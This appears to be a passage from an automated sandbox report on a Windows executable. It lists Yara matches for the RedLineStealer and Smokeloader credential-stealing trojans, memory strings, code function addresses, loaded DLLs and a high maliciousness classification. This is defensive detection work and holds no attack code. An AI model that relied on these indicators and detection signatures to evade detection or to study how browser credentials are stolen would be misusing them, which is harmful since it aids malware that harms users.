Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: UvswnLTk5d.exe, 00000000.00000003.1842301154.0000000029744000.00000004.00000020.00020000.00000000.sdmp, IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: UvswnLTk5d.exe, 00000000.00000003.1842301154.0000000029744000.00000004.00000020.00020000.00000000.sdmp, IDHIEBAAKJDHIECAAFHCAECAFC.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: UvswnLTk5d.exe, 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2177739160.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_6D0262C0 PR_dtoa,PR_GetCurrentThread,strlen,NtFlushVirtualMemory,PR_GetCurrentThread,LdrInitializeThunk,memcpy,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,memcpy,

0_2_6D0262C0

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6D028D20	0_2_6D028D20
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CE9ECC0	0_2_6CE9ECC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEFECD0	0_2_6CEFECD0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEAAC60	0_2_6CEAAC60
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6D02CDC0	0_2_6D02CDC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF7AC30	0_2_6CF7AC30
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF66C00	0_2_6CF66C00
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEA4DB0	0_2_6CEA4DB0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF36D90	0_2_6CF36D90
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF6ED70	0_2_6CF6ED70
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFCAD50	0_2_6CFCAD50
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEAAEC0	0_2_6CEAAEC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF40EC0	0_2_6CF40EC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF26E90	0_2_6CF26E90
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF3EE70	0_2_6CF3EE70
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFB6E50	0_2_6CFB6E50
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF80E20	0_2_6CF80E20
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF7EFF0	0_2_6CF7EFF0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEA0FE0	0_2_6CEA0FE0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFE8FB0	0_2_6CFE8FB0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEAEFB0	0_2_6CEAEFB0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF62F70	0_2_6CF62F70
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF0EF40	0_2_6CF0EF40
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFE0F20	0_2_6CFE0F20
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEA6F10	0_2_6CEA6F10
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFA68E0	0_2_6CFA68E0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF8C8C0	0_2_6CF8C8C0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFAE850	0_2_6CFAE850
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF74840	0_2_6CF74840
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEF0820	0_2_6CEF0820
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF2A820	0_2_6CF2A820
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFBC9E0	0_2_6CFBC9E0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CED49F0	0_2_6CED49F0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF609B0	0_2_6CF609B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF309A0	0_2_6CF309A0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF5A9A0	0_2_6CF5A9A0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CED8960	0_2_6CED8960
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEF6900	0_2_6CEF6900
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFB6AD0	0_2_6CFB6AD0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFA0AC0	0_2_6CFA0AC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF1EA80	0_2_6CF1EA80
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF1CA70	0_2_6CF1CA70
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF58A30	0_2_6CF58A30
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF4EA00	0_2_6CF4EA00
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFA6BE0	0_2_6CFA6BE0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFA4BE0	0_2_6CFA4BE0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF8EBD0	0_2_6CF8EBD0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEA8BAC	0_2_6CEA8BAC
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF40BA0	0_2_6CF40BA0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFB4BA0	0_2_6CFB4BA0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF3A4D0	0_2_6CF3A4D0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEE64D0	0_2_6CEE64D0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFCA480	0_2_6CFCA480
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEB8460	0_2_6CEB8460
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF2A430	0_2_6CF2A430
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF04420	0_2_6CF04420
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF2E5F0	0_2_6CF2E5F0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF6A5E0	0_2_6CF6A5E0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CE945B0	0_2_6CE945B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF40570	0_2_6CF40570
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF02560	0_2_6CF02560
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFE8550	0_2_6CFE8550
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEF8540	0_2_6CEF8540
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFA4540	0_2_6CFA4540
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEFE6E0	0_2_6CEFE6E0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF3E6E0	0_2_6CF3E6E0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEC46D0	0_2_6CEC46D0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEFC650	0_2_6CEFC650
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CECA7D0	0_2_6CECA7D0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF20700	0_2_6CF20700
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF7C0B0	0_2_6CF7C0B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEB00B0	0_2_6CEB00B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFB4090	0_2_6CFB4090
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CE98090	0_2_6CE98090
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEEE070	0_2_6CEEE070
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF68010	0_2_6CF68010
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF6C000	0_2_6CF6C000
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEA01E0	0_2_6CEA01E0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF08140	0_2_6CF08140
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF16130	0_2_6CF16130
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF84130	0_2_6CF84130
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF6E2B0	0_2_6CF6E2B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF722A0	0_2_6CF722A0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEBA2B0	0_2_6CEBA2B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF28260	0_2_6CF28260
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF38250	0_2_6CF38250
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF78220	0_2_6CF78220
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF6A210	0_2_6CF6A210
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEF43E0	0_2_6CEF43E0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CED23A0	0_2_6CED23A0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEFE3B0	0_2_6CEFE3B0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF36370	0_2_6CF36370
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFE2370	0_2_6CFE2370
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEA2370	0_2_6CEA2370
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFBC360	0_2_6CFBC360
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEA8340	0_2_6CEA8340
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6D0262C0	0_2_6D0262C0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF12320	0_2_6CF12320
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF61CE0	0_2_6CF61CE0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFDDCD0	0_2_6CFDDCD0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFB9CB0	0_2_6CFB9CB0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF3FC80	0_2_6CF3FC80
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFADC60	0_2_6CFADC60
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEA3C40	0_2_6CEA3C40
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFC9C40	0_2_6CFC9C40
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEB1C30	0_2_6CEB1C30
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF71DC0	0_2_6CF71DC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CE93D80	0_2_6CE93D80
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFE9D90	0_2_6CFE9D90
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF03D00	0_2_6CF03D00
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CEC3EC0	0_2_6CEC3EC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFFBE70	0_2_6CFFBE70
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFAFE40	0_2_6CFAFE40
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6D023FC0	0_2_6D023FC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFADE10	0_2_6CFADE10
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CF4BFF0	0_2_6CF4BFF0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFBDFC0	0_2_6CFBDFC0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6CFDBFA0	0_2_6CFDBFA0
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: 0_2_6D025E60	0_2_6D025E60

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: String function: 6CFD9F30 appears 31 times
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: String function: 6D02DAE0 appears 56 times
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: String function: 6D02D930 appears 45 times
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: String function: 004043B0 appears 316 times
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: String function: 6CEC3620 appears 63 times
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: String function: 6D0209D0 appears 253 times
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Code function: String function: 6CEC9B10 appears 73 times

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 2100

Source: UvswnLTk5d.exe, 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs UvswnLTk5d.exe
Source: UvswnLTk5d.exe, 00000000.00000000.1638071021.0000000002D1B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires0 vs UvswnLTk5d.exe
Source: UvswnLTk5d.exe, 00000000.00000002.2197509692.000000006F922000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs UvswnLTk5d.exe
Source: UvswnLTk5d.exe	Binary or memory string: OriginalFilenameFires0 vs UvswnLTk5d.exe

Source: UvswnLTk5d.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2177739160.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/38@0/1

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_6CF00300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CF00300

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5900

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\bbcfe766-f637-4f5a-a574-46737d760e1e

Jump to behavior

Source: UvswnLTk5d.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

File read: C:\Program Files (x86)\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\UvswnLTk5d.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: UvswnLTk5d.exe, 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmp, UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: UvswnLTk5d.exe, 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmp, UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: UvswnLTk5d.exe, 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmp, UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: UvswnLTk5d.exe, 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmp, UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: UvswnLTk5d.exe, UvswnLTk5d.exe, 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmp, UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: UvswnLTk5d.exe, 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmp, UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: BAEBGHCFCAAFIECAFIII.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: UvswnLTk5d.exe, 00000000.00000002.2197002762.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, UvswnLTk5d.exe, 00000000.00000002.2189456676.000000001D463000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: UvswnLTk5d.exe	ReversingLabs: Detection: 44%
Source: UvswnLTk5d.exe	Virustotal: Detection: 50%

Source: unknown	Process created: C:\Users\user\Desktop\UvswnLTk5d.exe "C:\Users\user\Desktop\UvswnLTk5d.exe"
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 2100

Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UvswnLTk5d.exe	Section loaded: vcruntime140.dll	Jump to behavior
